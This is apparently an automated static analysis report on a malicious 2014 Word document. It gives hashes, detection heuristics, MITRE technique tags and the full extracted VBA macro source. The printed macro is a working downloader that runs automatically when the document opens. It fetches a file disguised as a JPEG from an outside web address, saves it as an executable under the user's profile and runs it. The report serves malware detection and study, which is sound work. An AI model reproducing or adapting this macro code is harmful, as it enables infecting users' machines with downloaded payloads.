Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ce23f2a75378f82…

MALICIOUS

Office (OLE)

43.5 KB Created: 2014-06-23 11:49:00 Authoring application: Microsoft Office Word First seen: 2014-07-06
MD5: 440d573fd18a012c69eeaa1f6dc5bc2c SHA-1: fdbda0972f2be5d4a2a29ec7c993b5a60f6573af SHA-256: 2ce23f2a75378f821cf3302539c637c28a8b057ab81856dbf88c2738a1ba56f5
366 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains VBA macros that leverage WScript.Shell and CreateObject to download a file from a URL and execute it. The AutoOpen macro is present, indicating an attempt to automatically run the malicious code upon opening the document. The presence of WScript.Shell and the download/execute functionality strongly suggests a downloader malware.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.coropolifonicosangiovanni.org/images/LocandinaCastelfranco2013b.jpg� Referenced by macro
    • http://www.coropolifonicosangiovanni.org/images/LocandinaCastelfranco2013b.jpgReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3752 bytes
SHA-256: 962b55914e2cd270ac52ba779d86f3f385d0d374cc3b311e5c41cf4fadd1cb22
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function Base64_Encode(strSource) As String
'
Const BASE64_TABLE As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
'
Dim strTempLine As String
Dim j As Integer
'
For j = 1 To (Len(strSource) - Len(strSource) Mod 3) Step 3
   '
   strTempLine = strTempLine + Mid(BASE64_TABLE, _
                 (Asc(Mid(strSource, j, 1)) \ 4) + 1, 1)
   '
   strTempLine = strTempLine + Mid(BASE64_TABLE, _
                 ((Asc(Mid(strSource, j, 1)) Mod 4) * 16 _
                 + Asc(Mid(strSource, j + 1, 1)) \ 16) + 1, 1)
   '
   strTempLine = strTempLine + Mid(BASE64_TABLE, _
                 ((Asc(Mid(strSource, j + 1, 1)) Mod 16) * 4 _
                 + Asc(Mid(strSource, j + 2, 1)) \ 64) + 1, 1)
   '
   strTempLine = strTempLine + Mid(BASE64_TABLE, _
                 (Asc(Mid(strSource, j + 2, 1)) Mod 64) + 1, 1)
   '
Next j
'
If Not (Len(strSource) Mod 3) = 0 Then
   '
      If (Len(strSource) Mod 3) = 2 Then
         '
         strTempLine = strTempLine + Mid(BASE64_TABLE, _
                       (Asc(Mid(strSource, j, 1)) \ 4) + 1, 1)
         '
         strTempLine = strTempLine + Mid(BASE64_TABLE, _
                       (Asc(Mid(strSource, j, 1)) Mod 4) * 16 _
                        + Asc(Mid(strSource, j + 1, 1)) \ 16 + 1, 1)
         '
         strTempLine = strTempLine + Mid(BASE64_TABLE, _
                       (Asc(Mid(strSource, j + 1, 1)) Mod 16) * 4 + 1, 1)
         '
         strTempLine = strTempLine & "="
         '
      ElseIf (Len(strSource) Mod 3) = 1 Then
         '
         strTempLine = strTempLine + Mid(BASE64_TABLE, _
                       Asc(Mid(strSource, j, 1)) \ 4 + 1, 1)
         '
         strTempLine = strTempLine + Mid(BASE64_TABLE, _
                       (Asc(Mid(strSource, j, 1)) Mod 4) * 16 + 1, 1)
         '
         strTempLine = strTempLine & "=="
         '
      End If
      '
   End If
   '
Base64_Encode = strTempLine
'
End Function
Sub Auto_Open()
    h
End Sub
 
Sub h()
 
Set oShell = CreateObject("WScript.Shell")
strH = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
Dim sDir: sDir = strH & "\q"
 
 
Set fso = CreateObject("Scripting.FileSystemObject")
  If (fso.FolderExists(sDir)) Then
 
 
  Else
  Set oFSO = CreateObject("Scripting.FileSystemObject")
      oFSO.CreateFolder sDir
 
 
End If
 
Dim xHttp: Set xHttp = CreateObject("MSXML2.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://www.coropolifonicosangiovanni.org/images/LocandinaCastelfranco2013b.jpg", False
xHttp.Send
 
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile strH & "\q\q.com", 2
End With
 
 
Call m(sDir)
 
End Sub
 
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
 
 
 
Function m(str11)
    Dim fso, f, fc, f1, strF, intFiles
    Dim WshShell
 
    Set WshShell = CreateObject("WScript.Shell")
 
    strF = ""
 
    Set fso = CreateObject("Scripting.FileSystemObject")
    If (fso.FolderExists(str11)) Then
        Set f = fso.GetFolder(str11)
        Set fc = f.Files
 
 
        For Each f1 In fc
        Dim fR
        fR = str11 & "\" & f1.Name
        WshShell.Run Chr(34) & fR & Chr(34), 1, True
    Next
 
        Set f1 = Nothing
        Set fc = Nothing
        Set f = Nothing
 
 
    End If
    Set fso = Nothing
End Function